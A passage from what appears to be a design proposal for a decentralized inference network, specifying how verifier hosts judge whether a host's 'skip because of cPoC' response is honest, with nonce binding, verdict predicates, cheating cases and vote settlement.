recurs at **nonce + N_slots** (one round**).**R_req is merged into the session's linearized diff at some later nonce **R_req + x, **x ≥ 0** — not necessarily the same nonce. Any nonce-bound rule must work on the nonce at which a message appears in Diff, not on wall-clock pairing with the outbound request.All nonces below are monotonic indices into Diff (Data flow § Per-session local state). They are defined here once so later sections can reference them without re-introducing each.
n Generic Diff nonce. — R_req Request nonce. The nonce at which MsgStartInference is appended to Diff (Path A) — the inference request a cPoC skip answers. D → devshard (MsgStartInference). N_SP Probe nonce. The nonce at which MsgSkipProbe is appended to Diff (Path B) — the lightweight probe that plays R_req's role when no prompt is submitted. D → devshard (MsgSkipProbe). N_carry Carry nonce. The nonce at which the CarrySkip envelope (embedding either the signed CPoCSkipResponse or CPoCProbeResponse) is appended to Diff. This is the only verdict-bearing artifact in Diff; every verifier computes Verdict from Diff[N_carry]. Causality: R_req < N_carry in Path A (distinct proto messages ⇒ distinct nonces, and the dev cannot sign the carry until after the host's p2p response exists); N_SP < N_carry in Path B for the same reason. D → devshard (CarrySkip). X Witness nonce. The latest nonce ≤ R_req (or ≤ N_SP) whose executor is V itself; height_at[X] is V's local height observed no later than R_req and is the lower endpoint of the freshness interval I = [h_X, h_carry]. Formula and derivation in § Verdict predicate, step 1. Computed locally by each V. N_slots Number of executor slots per round; executor(n) = hosts[n mod N_slots] (assumption 4). Chain / epoch parameter."}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#problem-statement", "title": "Problem statement", "text": ""}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#1-skip-correctness", "title": "1. Skip correctness", "text": "A host that returns “skipping because of cPoC” may be:
Schedule(H_i, H) ∈ {prepare, active} and H_i ∉ PoC_slot_set, orCPoC_SKIP while not scheduled / while in PoC_slot_set (avoids work).The protocol must let every honest verifier **V reach the same verdict from the same diff, using **H(V) as the height oracle (assumption 1).
A developer could hold a host's cPoC skip response and later attach it via CarrySkip. Mitigation is layered:
I = [h_X, h_carry] each verifier personally witnesses (§ Nonce binding). A late carry of a genuine skip blob remains Valid — it was truthful at a height in I; a late reveal does not retroactively make it a lie. Only skips that were never legitimate at any height in I produce Invalid.MsgTimeoutInference{…CPOC} timeouts and finalization deadlines.Under high inference rate, if most hosts skip during cPoC, per-skip gossip is unacceptable:
It is important that each host can participate in a lot of devshards, so gossip traffic is highly unwanted and is limited to disputes and settlement cases.
"}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#design-principles-high-level", "title": "Design principles (high level)", "text": "The formalization in § Data flow and the cases in § Cases to handle are chosen to satisfy the following principles. Nonce symbols (R_req, N_SP, N_carry, X, N_slots) are defined in Shared assumptions → Notation; H(V), Schedule, and PoC_slot_set in Shared assumptions items 1–3; timeout_skip_gossip under § Gossip minimization.
The developer chooses one of two shapes when opening a request, he can request with an inference and get cPoC skip response or can ckip in advance host that is doing cPoC; both converge on the same Verdict predicate.
Path A — inference with possible cPoC refusal (full payload). Developer submits a real inference request; the host either confirms and runs it, or refuses because of cPoC.
D → devshard : MsgStartInference(R_req, prompt_hash, …) [into Diff at R_req]\n\n happy path → H_i → devshard : MsgConfirmStart(R_req) [into Diff]\n → … → MsgFinishInference\n\n cPoC path → H_i → D : CPoCSkipResponse(R_req, reason) [p2p; NOT in Diff]\n D → devshard : CarrySkip(N_carry, <embedded CPoCSkipResponse>)\n [into Diff at N_carry]\nPath B — lightweight skip probe (no prompt, no inference cost). Developer asks H_i to report its cPoC state without paying a prompt. The host does not execute inference; it just returns a signed status. The response has two possible outcomes:
H_i is still on cPoC (cpoc_active or cpoc_prepare); behaves like a Path-A skip for verdict purposes.H_i has finished cPoC and is READY_INFERENCE; the developer should resume sending real MsgStartInference to H_i.D → devshard : MsgSkipProbe(N_SP) [into Diff at N_SP]\nH_i → D : CPoCProbeResponse(N_SP, outcome ∈ {cpoc_active, cpoc_prepare, ready}) [p2p; NOT in Diff]\nD → devshard : CarrySkip(N_carry, <embedded CPoCProbeResponse>) [into Diff at N_carry]\n # N_SP < N_carry strictly (two distinct Diff entries)\nA ready outcome carried into Diff is not an Invalid skip — the verdict predicate simply does not apply (no refusal to validate). It is instead a scheduling receipt: V records that H_i signalled ready at a height in [h_X, h_carry]. Subsequent developer behaviour is checked against that receipt by C13 (developer keeps probing / skipping a ready host — see § Cases).
Future optimization (deferred, see Open question §8). Once D has a fresh CarrySkip proving H_i is on cPoC, subsequent skips of H_i within the same cPoC window should not need a full probe roundtrip: D can place a single developer-signed marker into Diff at H_i's slot and route the real request to H_{i+1}. Collapses the three-message Path-B triple (MsgSkipProbe → CPoCProbeResponse → CarrySkip) to one D-signed entry per repeated skip. Out of scope for this release; the current doc specifies only the explicit-probe flow.
Key invariants shared by both paths:
CPoCSkipResponse (Path A refusal) or CPoCProbeResponse (Path B status), the host's signed statement only enters the verifier's field of view when the developer echoes it via **CarrySkip** into Diff.**CarrySkip is the primary verdict-bearing artifact in Diff. Every V computes Verdict from Diff[N_carry]. For Path A**, the predicate additionally scans Diff for a MsgConfirmStart matching the same inference_id; if one exists (in either direction relative to N_carry), the verdict is Invalid against H_i for double-claim (see § Verdict predicate, step 2, and § Cases → C2').Diff entries per path. Both paths have R_req < N_carry (resp. N_SP < N_carry) strictly: different proto messages occupy different nonces, and the developer signature on CarrySkip binds bytes that only exist after the host's p2p response arrives.CarrySkip has reached a final Verdict, closing the inference record at chain level uses the existing MsgTimeoutInference{reason = TIMEOUT_REASON_CPOC} path (new enum value); this settlement step is not what the verdict depends on.Everything below — nonce binding, gossip minimization, data flow, cases — applies to both paths uniformly; the only Path-B specialization is the additional ready outcome (and its follow-on case C13).
Because of asynchronous developer traffic (Shared assumptions, item 5), the response to a request sent at nonce **R_req** may appear in Diff only at nonce **R_req + x**, **x ≥ 0**. The delay x is not bounded in rounds — rounds can be far faster than mainnet blocks or host response, so many rounds may legitimately elapse between R_req and N_carry. Verdicts therefore bind to a height interval that each verifier constructs locally from its own observations of Diff:
**R_req** (the request it answers), stated inside the signed CPoCSkipResponse. (Term chosen to avoid collision with the height-sync \"Anchor\", which is out of scope here.)**N_carry** (the nonce at which CarrySkip is appended to Diff and becomes visible to verifiers).X = the latest nonce ≤ R_req whose executor is V itself — a nonce V personally handled, so height_at[X] is a height V actually observed no later than R_req. The exact formula (same round vs. previous round, depending on SP_v vs. SP_e) and its derivation are given in § Verdict predicate, step 1.I = [h_X, h_carry] where h_X := height_at[X] and h_carry := height_at[N_carry] = H(V) at ingest of Diff[N_carry]. This interval bounds the set of mainnet heights at which the host's skip could physically have been produced, as seen through this verifier's local clock.Schedule(H_i, H) ∈ {prepare, active}. If no height in I places H_i on the cPoC schedule, the skip could not have been truthful at any moment V witnessed → Invalid against H_i. A stale but genuine skip blob replayed well after the host returned to READY_INFERENCE is still Valid — the host was legitimately refusing at some height in I; a late carry does not retroactively make it a lie. (Replay / withholding harms settlement, not the cPoC verdict — see § Consensus / voting and the settlement-only row in the primitives table.)h_X and h_carry from its own height_at[·] map; the developer's or host's claimed height in CPoCSkipResponse is informational and is not input to the verdict.timeout_skip_gossip after N_carry the session advances to N_carry + N_slots (one full round), every honest verifier has seen the evidence via the diff. No dedicated gossip is emitted.V with a non-Valid verdict MAY emit a compact SkipEvidenceGossip pointing into Diff. Peers re-run the verdict predicate locally.Parameter **timeout_skip_gossip (proposal: ≈ 2 mainnet blocks) is chain-parametrized**; its exact value is out of scope here.
When a host skips inference because of confirmation PoC, every other host can tell if that skip was honest or cheating—without flooding gossip.
The session is an append-only log of messages, each at a monotonic nonce. Everyone reasons from what landed in Diff, not from private p2p alone. Verifiers see host answers only after the developer carries them into Diff. CarrySkip is the verdict-bearing artifact.
Two ways to open a skip
How verifiers judge (each host V locally) When V ingests Diff[N_carry]:
I = [h_X, h_carry] from heights V recorded when it processed earlier nonces (witness nonce X ≤ request, carry at N_carry).H_i actually on cPoC (prepare/active) at some height in I? If never → Invalid (lying skip). If yes → Valid (even if carried late—anti-cheat, not anti-replay).Votes & settlement Non-Valid verdicts → signed CPoCVote → quorum / finalization.
Usually no extra gossip: the diff propagates the evidence. Gossip is a rare fallback when the session is slow to advance one full executor round.
"}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#data-flow-formalized", "title": "Data flow (formalized)", "text": ""}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#parties", "title": "Parties", "text": "Symbol Role**D** Developer / client. **H_i** Host at slot **i** (i = nonce mod N_slots). **V** Any verifier (a host that observes the session diff and must form a verdict)."}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#per-session-local-state-at-each-v", "title": "Per-session local state (at each **V**)", "text": "Symbol Meaning **Diff** Append-only linearized diff of session messages, indexed by monotonic nonce **n**. **H(V)** Height oracle (out of scope — supplied by HEIGHT_SYNC_PROTOCOL_PROPOSAL.md): mainnet height known to the majority of validators as of **V**’s latest height-sync convergence. **height_at[n]** Local map: when V ingests diff entry at nonce **n**, it records **H(V)** at that moment. Not shared; local only. **PoC_slot_set** See assumption 3. **pending_verdicts** Buffer of skip attestations ingested from Diff whose Verdict is not yet final, keyed by (R_req, N_carry). Three reasons an entry sits here: (a) **Inconclusive** — I's endpoints (h_X, h_carry) are not yet strictly confirmed by the height-sync layer (resolution key: confirmation signal covering I, see C6); (b) **Invalid** awaiting the round-elision / gossip deadline (C9/C10); (c) **provisional** within the seal window [h_carry, h_carry + W_seal] used by step (2) of the Verdict predicate — a MsgConfirmStart for the same inference_id may still arrive and flip the verdict to Invalid (C2'). Note that Diff[X] is always present by the time Diff[N_carry] is ingested (because X ≤ R_req ≤ N_carry and Diff is append-only), so h_X is always immediately computable — no \"wait for witness\" deferral exists. Each entry holds: N_carry, R_req, skipping host H_i, raw signed host response (CPoCSkipResponse or refusal-outcome CPoCProbeResponse), current tentative verdict (if any), provisional_until mainnet height (when reason (c) applies), and the resolution key/deadline. Entries are removed on commit: Valid → drop after the seal window expires; Invalid → hand to finalization. ready-outcome carries never enter this buffer — they are recorded directly in ready_at (below). **ready_at** Map host → (N_carry, h_carry, reset_height?) recording the latest CPoCProbeResponse(outcome = ready) for each host, from the most recent CarrySkip in Diff with payload_kind = probe_response and outcome = ready. Consumed by case C13 (developer withholding from a ready host). Cleared for H_i when V later observes either (a) Schedule(H_i, H) ∈ {active, prepare} strictly confirmed for some H > h_carry, or (b) a fresh non-ready CPoCProbeResponse / CPoCSkipResponse for H_i carried into Diff. **withholding_alert** Per-(D, H_i) flag set by V when the C13 violation predicate fires on local Diff observations; cleared per C13 flow step 5. While set, V (if queued as a future executor for D) refuses to serve D until fairness is restored."}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#primitives", "title": "Primitives", "text": "Names in subnet/proto/subnet/v1/{tx,diff}.proto unless marked (new). The verdict-predicate input set is MsgStartInference, MsgConfirmStart, MsgSkipProbe, and CarrySkip; the verdict-settlement input set is CPoCVote; the remaining messages are p2p carriers (CPoCSkipResponse, CPoCProbeResponse), delivery gossip (SkipEvidenceGossip), or final settlement (MsgTimeoutInference{…CPOC}).
**MsgStartInference** Diff (existing) D → devshard Inference request at nonce R_req: inference_id, prompt_hash, model, input_length, max_tokens, started_at. Path A only; this is the request the cPoC verdict anchors on. **MsgConfirmStart** Diff (existing) H_i → devshard Happy-path executor confirmation: inference_id, executor_sig, confirmed_at. Absent when H_i is skipping for cPoC. Presence alongside a matching Path-A CarrySkip for the same inference_id is a protocol violation: both messages carry H_i's signature on contradictory claims, and Verdict step (2) flips the verdict to Invalid against H_i (see § Cases → C2'). The mutual-exclusion check holds regardless of the order in which the two entries appear in Diff. **CPoCSkipResponse** p2p (not in Diff) H_i → D Path A only. Host's signed refusal to a real inference request: inference_id, reference_nonce = R_req, reason ∈ {cpoc_active, cpoc_prepare}, optional claimed_height_h_i (informational; verdict ignores it), host signature under domain cPoCRefusalContent. **CPoCProbeResponse** p2p (not in Diff) H_i → D Path B only. Host's signed response to a skip probe: probe_nonce, reference_nonce = N_SP, outcome ∈ {cpoc_active, cpoc_prepare, ready}, optional claimed_height_h_i (informational), host signature under domain cPoCProbeResponseContent. ready means H_i has exited cPoC and expects real inference requests. **CarrySkip** Diff (new message in SubnetTx oneof) D → devshard Developer-signed envelope that embeds exactly one host response blob — either a CPoCSkipResponse (Path A) or a CPoCProbeResponse (Path B) — and places it at nonce N_carry: nonce = N_carry, referenced_nonce = R_req (or N_SP), payload_kind ∈ {skip_response, probe_response}, bytes host_response, developer signature under domain CarrySkipContent. The only verdict-bearing / scheduling-bearing cPoC artifact in Diff. **MsgSkipProbe** Diff (new message in SubnetTx oneof) D → devshard Path-B lightweight probe: probe_nonce = N_SP, target_host_id, session/routing, no prompt payload. Enters Diff at N_SP. The host's response (CPoCProbeResponse) is p2p and echoed into Diff via a subsequent CarrySkip at N_carry > N_SP. CPoCVote p2p (→ collector), bundled into finalization V → collector Signed verdict vote emitted by each verifier with a non-Valid local verdict. Fields: N_carry, referenced_nonce, target ∈ {host(H_i), carrier(D), developer(D)}, verdict, reason_code, schedule_witness, signature under domain cPoCVoteContent. Collector: for target = host(H_i), developer D aggregates until quorum_invalid (this release). For votes against D (C3′, C13), aggregation belongs in the finalization round once self-finalization exists — not D. This release leaves that path unspecified (optimistic gap); see § Consensus / voting. MsgTimeoutInference with reason = TIMEOUT_REASON_CPOC Diff (existing message + new enum) collector → devshard Settlement only. After the CPoCVote quorum has decided a final Verdict, the inference record is closed through the existing timeout path with the new reason. Carries inference_id, repeated TimeoutVote votes. Verifiers do not need this to compute the verdict. SkipEvidenceGossip Off-diff gossip host ↔ hosts Used only when round-elision fails (§ Gossip minimization). References entries in Diff (inference_id, N_carry, vote indexes). Delivery aid only — makes the same CarrySkip visible to lagging peers so they can compute their local verdict and emit CPoCVote. Does not itself contribute to the verdict or the vote bundle."}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#end-to-end-flow-happy-path-host-actually-on-cpoc", "title": "End-to-end flow (happy path, host actually on cPoC)", "text": " nonce R_req nonce R_req+1..N_carry-1\n D ─────────────── InferenceRequest(R_req) ─────────────▶ H_i (other requests to H_{i+1..})\n │\n H_i in cPoC\n │\n D ◀─────────── CPoCSkipResponse(R_req, reason) ───────────┘ (arrives async, R_req + x in Diff)\n\n D ───── CarrySkip(N_carry) embeds CPoCSkipResponse(R_req, …) ──▶ any host ──▶ Diff[N_carry]\n\n each V observing L:\n on ingest Diff[N_carry]:\n record height_at[N_carry] = H(V)\n evaluate Verdict(…) using H(V) and nonce-window rules below\nV computes **Verdict(skip_evidence) ∈ {Valid, Invalid, Inconclusive}** as:
CarrySkip in Diff that references R_req (see \"First-carry rule\" below):R_req ≤ N_carry. A CarrySkip cannot reference a request that has not yet entered Diff. Failure → Invalid against the carrier (developer signature on CarrySkip), not against H_i.X (per § Design principles → Nonce binding). Let SP_e = R_req mod N_slots, SP_v = v_slot, round(R_req) = ⌊R_req / N_slots⌋. Then:SP_v ≤ SP_e → X = round(R_req) · N_slots + SP_v (same round as R_req, X ≤ R_req).SP_v > SP_e → X = (round(R_req) − 1) · N_slots + SP_v (previous round, X < R_req). Taking V's slot in the current round would reference a nonce after R_req; its height_at would be observed after R_req and could not lower-bound H_skip. Stepping back one round gives the latest executor-of-V nonce ≤ R_req.X = R_req − ((SP_e − SP_v) mod N_slots).h_X := height_at[X] — V's local height when it ingested Diff[X]. By construction X ≤ R_req, so h_X was observed no later than the request itself.h_carry := height_at[N_carry] = H(V) at ingest of Diff[N_carry].h_X ≤ h_carry (heights are monotonic at ingest), and h_carry ≤ H(V)_now (trivially — V is ingesting N_carry right now and stamps h_carry from H(V)_now).**Diff[X] is always available when Diff[N_carry] is being ingested.** By construction X ≤ R_req, and causality (checked first in this step) requires R_req ≤ N_carry, so X ≤ N_carry. Because Diff is append-only and ingested in order, every Diff[k] with k ≤ N_carry is already present when V processes Diff[N_carry].X does not identify a real prior executor-slot of V is round(R_req) = 0 ∧ SP_v > SP_e, where the closed form yields X < 0 — V had no executor slot before R_req in this session. V then falls back to the implicit session-start anchor (the lowest nonce V has ingested, typically 0) as the lower endpoint h_X. This is a cold-start condition only; it does not recur once V has executed at least once.**I := [h_X, h_carry], consumed by step (4). The correct bound is in mainnet heights, and each verifier derives it from heights it personally observed (h_X and h_carry) — no cross-host height assumption required. First-carry rule. If the developer publishes multiple CarrySkip entries for the same R_req, only the earliest N_carry in Diff is admitted as input to the verdict; later duplicates are ignored (they may still be recorded for developer-misbehavior accounting, out of scope for this predicate). This keeps I deterministic across verifiers. Path B. For MsgSkipProbe (case C7) the rule is identical, with R_req := N_SP (the probe nonce) and N_SP < N_carry strictly. CarrySkip may wrap either a CPoCSkipResponse (refusal) or a CPoCProbeResponse (status). If the carried outcome is ready, steps (3–4) of the Verdict predicate do not apply (no refusal to evaluate); the carry is instead recorded as a scheduling receipt consumed by case C13. Worked examples** (let N_slots = 4, V's slot SP_v = v_slot = 2):R_req SP_e branch N_carry round(R_req) X h_X h_carry Result 10 2 SP_v = SP_e (V is executor) 10 2 10 500 500 pass; I = {500} (evaluate Schedule(H_i, 500) in step 3) 10 2 SP_v = SP_e 13 2 10 500 500 pass; same block ⇒ I = {500} 10 2 SP_v = SP_e 40 2 10 500 520 pass; I = [500, 520] — step 3 seeks any H in that interval on the cPoC schedule 11 3 SP_v < SP_e (same round) 40 2 10 500 520 X = 11 − 1 = 10 (same round as R_req); I = [500, 520] 9 1 SP_v > SP_e (previous round) 40 2 6 498 520 X = 9 − 3 = 6 (round 1, not round 2); h_X = 498 observed before R_req; I = [498, 520] 1 1 SP_v > SP_e, round = 0 10 0 — — — bootstrap edge case: no previous round ⇒ fall back to session-start anchor as h_X 10 2 — 9 — — — — fail (causality) → Invalid carrier 10 (probe N_SP) 2 SP_v = SP_e 13 2 10 500 500 pass; I = {500} (Path B; N_SP < N_carry strictly) CarrySkip envelope has payload_kind = skip_response (Path A); skipped for Path B (payload_kind = probe_response, which references N_SP and has no inference_id to collide). Procedure:inference_id* := Diff[R_req].inference_id — read from the original MsgStartInference entry (which must already be in Diff by causality, step 1).Diff for any entry satisfying kind = MsgConfirmStart ∧ inference_id = inference_id* ∧ executor = H_i. Call the matching nonce N_confirm if found.N_confirm < N_carry → Invalid against H_i, reason_code = double_claim_confirm_then_skip. The host confirmed the inference (and therefore ran it, or must have intended to) and then signed a contradictory CPoCSkipResponse that D later carried. This is a cryptographically provable lie: both the MsgConfirmStart.executor_sig and the embedded CPoCSkipResponse signature are H_i's.N_confirm > N_carry (confirm appears after the carry) → Invalid against H_i, reason_code = double_claim_skip_then_confirm. Symmetric violation: the host refused the request, then later confirmed and ran the same inference.MsgConfirmStart for inference_id* may arrive after V has already ingested N_carry and computed a verdict, the verdict from step (4) is provisional for W_seal mainnet blocks after h_carry (W_seal is chain-parametrized — propose ≈ 2 blocks, matching timeout_skip_gossip). During the seal window, if a contradictory MsgConfirmStart lands, V re-runs the predicate and emits a superseding CPoCVote keyed on (N_carry, V_pubkey) (§ Consensus / voting); the collector keeps only the latest. After W_seal expires the verdict is final and this step stops re-firing; any post-seal MsgConfirmStart is a settlement-layer issue, not a cPoC verdict flip. V tracks the seal window via a provisional_until[N_carry] = h_carry + W_seal entry attached to pending_verdicts.MsgConfirmStart for inference_id if a CarrySkip whose embedded skip-response references the corresponding R_req already exists in Diff, and (ii) a CarrySkip(payload_kind = skip_response) referencing R_req if MsgConfirmStart(inference_id = Diff[R_req].inference_id) already exists. Because Diff ordering is already deterministic, this rejection is a pure function of Diff and race-free. With this rule active the scan above catches only the seal-window race.H_i ∉ PoC_slot_set. Otherwise → Invalid (host had POC_SLOT = true, must not skip).I.∃ H ∈ I : Schedule(H_i, H) ∈ {prepare, active} → candidate Valid (subject to (5)). The host was legitimately on cPoC at some height V personally witnessed in I; that is sufficient.∀ H ∈ I : Schedule(H_i, H) == idle → candidate Invalid (subject to (5)). The host claims cPoC refusal but is not on the schedule at any height in I.I (h_X and h_carry) are strictly confirmed by the height-sync layer (assumption 1), commit to the candidate from (4). If the height-sync layer flags either endpoint as not yet strictly confirmed, and the schedule verdict is adversarial (Invalid), V MUST hold the verdict as Inconclusive until height sync reports confirmation covering I — then re-run step (4). This could be scheduled for future releasesCPoCSkipResponse must be validly signed by H_i and reference R_req as it appears in Diff.Outputs feed Gossip minimization (below) and, for disputes, FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md.
"}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#cases-to-handle-case-dataflow", "title": "Cases to handle (case / dataflow)", "text": "Legend: R_req = Path-A inference-request nonce (or, in Path B, aliased to the probe nonce N_SP); N_carry = nonce at which CarrySkip is appended to Diff; both paths have R_req < N_carry strictly. R denotes the executor round of size N_slots.
Setup: Schedule(H_i, H(V)) = active, H_i ∉ PoC_slot_set, dev behaves normally.
Flow:
D → H_i : InferenceRequest(R_req)\nH_i → D : CPoCSkipResponse(R_req, active)\nD → H_{i+1} : next InferenceRequest at R_req+1 carrying skip blob\n (or separate CarrySkip at some N_carry ≥ R_req)\nV (= any host): on Diff[N_carry] → Verdict = Valid (nonce window + schedule)\nExpected verdict: **Valid**. No gossip, no finalization trigger.
Setup: Schedule(H_i, H(V)) = idle, H_i ∉ PoC_slot_set, but H_i replies CPoCSkipResponse to avoid work.
Flow: Same as C1 up to the point the developer publishes CarrySkip. Each host V then:
V on Diff[N_carry]:\n compute Verdict(...) = Invalid # Schedule check fails at I\n emit CPoCVote(N_carry, verdict = Invalid, signed_by=V) # p2p to D (and optionally gossip)\nD collects CPoCVote messages from distinct hosts:\n if |votes(Invalid)| ≥ quorum_invalid:\n verdict is settled as Invalid\n D hands the vote bundle to finalization (today)\n — OR —\n hosts publish votes at the next finalization round (future release; see § Consensus / voting)\nExpected verdict: Invalid (Schedule check fails on the height interval I). The Invalid outcome is not attached to finalization by one party; it is the quorum of CPoCVotes from hosts that observed Diff[N_carry] and independently reached the same verdict. See § Consensus / voting for the vote-collection protocol and the \"developer today / self-finalization tomorrow\" split.
Setup: H_i signs both a MsgConfirmStart and a CPoCSkipResponse for the same inference_id (directly or via D carrying the skip blob). The two messages are cryptographically incompatible: MsgConfirmStart.executor_sig commits H_i to running the inference, and the embedded CPoCSkipResponse commits H_i to refusing it. Applicable only to Path A (payload_kind = skip_response); Path B has no inference_id on the carry and cannot trigger this case.
Flow (confirm before carry):
Diff[R_req] : MsgStartInference(inference_id = I)\nDiff[N_confirm] : MsgConfirmStart(inference_id = I, executor = H_i) # H_i claims \"I ran it\"\n... time passes ...\nDiff[N_carry] : CarrySkip embedding CPoCSkipResponse(reference_nonce = R_req,\n signed by H_i) # contradicts confirm\n\nV on ingest of Diff[N_carry]:\n Verdict predicate, step 2:\n inference_id* = Diff[R_req].inference_id = I\n scan Diff → found MsgConfirmStart(I, H_i) at N_confirm < N_carry\n ⇒ Invalid against H_i (reason_code = double_claim_confirm_then_skip)\n emit CPoCVote(Invalid, target = host(H_i), reason_code = …)\nFlow (skip carried first, confirm arrives inside the seal window):
Diff[R_req] : MsgStartInference(inference_id = I)\nDiff[N_carry] : CarrySkip embedding CPoCSkipResponse(…, signed by H_i)\nV on ingest: provisional Valid (or Invalid on other grounds); records\n provisional_until = h_carry + W_seal in pending_verdicts\n\n... within the seal window ...\nDiff[N_confirm] : MsgConfirmStart(I, H_i) # H_i claims the inference after refusing it\n\nV on re-run of the predicate:\n step 2 detects N_confirm > N_carry within seal window\n ⇒ Invalid against H_i (reason_code = double_claim_skip_then_confirm)\n emit superseding CPoCVote — collector replaces V's prior vote for (N_carry, V_pubkey)\nFlow (confirm arrives after the seal window):
Diff[N_carry] : CarrySkip(...) # sealed Valid after W_seal\nDiff[N_confirm] : MsgConfirmStart(I, H_i) # too late to flip the cPoC verdict\n\nV: does NOT re-open the settled verdict; the protocol violation is instead\n handed off to settlement (finalization) as stand-alone evidence that\n H_i signed two contradictory statements about inference I.\nExpected verdict: **Invalid against H_i** whenever both artifacts land in Diff within the seal window of each other. Settled via the standard CPoCVote quorum (§ Consensus / voting), with the vote bundle carrying reason_code ∈ {double_claim_confirm_then_skip, double_claim_skip_then_confirm} and pointers to both Diff entries as the cryptographic evidence of the contradiction. Outside the seal window the violation is still slashable, but at the settlement layer rather than as a cPoC-predicate flip (keeps verdict finality bounded).
Optional devshard-ingest hardening. The devshard MAY refuse to append either message when the other already exists in Diff (Verdict predicate, step 2, \"Defence in depth at ingest\"). This shifts the rejection from the predicate layer to the gateway layer for the common case; the predicate's step 2 remains in force for the race window during which both messages can legitimately arrive at the ingest layer concurrently.
Setup: H_i returned a legitimate CPoCSkipResponse at R_req during its cPoC window (height H_skip). Developer holds the blob for arbitrarily many rounds and later emits CarrySkip at N_carry ≫ R_req.
Flow:
D → devshard : MsgStartInference(R_req) # during H_i's cPoC window\nH_i → D : CPoCSkipResponse(R_req, active) # p2p, signed by H_i at H_skip\n... time passes; Diff advances; mainnet advances past H_skip ...\nD → devshard : CarrySkip(N_carry, CPoCSkipResponse) # late carry\nV on Diff[N_carry]:\n SP_e = R_req mod N_slots; SP_v = v_slot\n X = R_req − ((SP_e − SP_v) mod N_slots) # same round if SP_v ≤ SP_e, else previous round\n h_X = height_at[X] (≈ H_skip — V's height observed at or before R_req)\n h_carry = H(V) at ingest of Diff[N_carry]\n I = [H_skip, h_carry]; Schedule(H_i, H_skip) ∈ {prepare, active} ⇒ step 3 passes\n Verdict = Valid\nExpected verdict: **Valid. The host's attestation is truthful for a height in I; lateness does not retroactively make it a lie. Any residual harm (inference record kept open, stalled settlement) is handled at the settlement layer (MsgTimeoutInference{…CPOC} and finalization deadlines), not** by the cPoC verdict predicate.
Setup: Developer publishes a CarrySkip with N_carry < R_req (references a request that has not yet entered Diff).
Flow: Step (1) of the verdict predicate rejects the envelope on the causality inequality R_req ≤ N_carry.
Expected verdict: **Invalid against the carrier (developer signature on CarrySkip), not** against H_i. This is a pure forgery check, independent of any height interval.
POC_SLOT = true host returns skip", "text": "Setup: H_i ∈ PoC_slot_set (inference-exempt during others’ cPoC), yet replies CPoCSkipResponse.
Flow: any normal request/response leading to a carried skip.
Expected verdict: Invalid (Role check fails). Verdict is settled by vote quorum (see C2 / § Consensus / voting): every host computes the same Invalid and emits CPoCVote; the collected bundle is the evidence handed to slashing (H_i).
prepare window", "text": "Setup: Schedule(H_i, H(V)) = prepare (policy-dependent).
Decision: Same verdict rules as active.
Setup: Schedule(H_i, H(V)) = idle, but height-sync layer has not yet strictly confirmed H(V) for the nonce-window (out of scope for us — we only consume its signal).
Flow: Verdict step (4) returns Inconclusive.
Expected action: V does not emit a CPoCVote yet; it waits for the height layer to confirm. If confirmed Invalid, V emits CPoCVote(Invalid) and the standard vote-quorum flow (§ Consensus / voting) collects the bundle. If confirmed Valid, no vote is emitted and no action is taken.
Setup: D wants a cPoC status check from H_i without submitting a prompt. Schedule(H_i, H) ∈ {active, prepare} at the height the probe is answered.
Flow:
D → devshard : MsgSkipProbe(N_SP, target = H_i) # into Diff at N_SP\nH_i → D : CPoCProbeResponse(N_SP, outcome ∈\n {cpoc_active, cpoc_prepare}) # p2p, signed by H_i\nD → devshard : CarrySkip(N_carry, CPoCProbeResponse) # into Diff at N_carry > N_SP\nV on Diff[N_carry]:\n R_req := N_SP\n run the Verdict predicate (steps 1–5) unchanged\nExpected verdict: **Valid** (same predicate as Path A, applied with R_req := N_SP).
Setup: D probes H_i. H_i has finished its cPoC window and is in READY_INFERENCE (Schedule(H_i, H) = idle at the answering height).
Flow:
D → devshard : MsgSkipProbe(N_SP, target = H_i)\nH_i → D : CPoCProbeResponse(N_SP, outcome = ready) # p2p, signed by H_i\nD → devshard : CarrySkip(N_carry, CPoCProbeResponse) # into Diff at N_carry > N_SP\nV on Diff[N_carry]:\n detect payload_kind = probe_response AND outcome = ready\n record scheduling receipt: ready_at[H_i] = (N_carry, h_carry)\n Verdict predicate steps (2–3) do NOT apply (no refusal to evaluate)\nExpected verdict: not applicable. The carry is a scheduling receipt, not a skip attestation. It obliges the developer to resume routing real MsgStartInference to H_i at subsequent H_i-slot nonces. Persistent deviation after this receipt triggers C13.
Setup: H_i returns nothing (neither inference nor skip).
Expected action: Out of scope of cPoC-skip verdict. Governed by **USER_TIMEOUT in FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md. cPoC protocol contributes no** verdict in this case.
Setup: After timeout_skip_gossip the diff has not advanced one full round, so not every V has necessarily seen the carried skip and the vote collector (see § Consensus / voting) has not yet reached quorum_invalid.
Flow:
V1 emits SkipEvidenceGossip(Diff-refs) to peers # lagging peers catch up on Diff\npeers reconstruct Diff-refs, compute Verdict locally,\n and emit CPoCVote if their verdict is non-Valid\ncollector aggregates votes (`D` for host-fault cases this release; finalization round for developer-target votes when self-finalization exists — see § Consensus / voting)\nExpected verdict: whatever the vote quorum declares on the same Diff evidence. SkipEvidenceGossip is a delivery aid only; it does not compute a verdict, it just makes the same CarrySkip visible so lagging peers can vote.
Setup: High request rate; the diff naturally advances past R_req + N_slots within timeout_skip_gossip.
Expected action: No SkipEvidenceGossip emission needed; every V has the evidence by construction. Each V independently computes Verdict and, if non-Valid, emits CPoCVote. The collector aggregates votes as usual.
Setup: A verdict is Invalid (C2, C2', C4, C6-confirmed-invalid, C3', or C13).
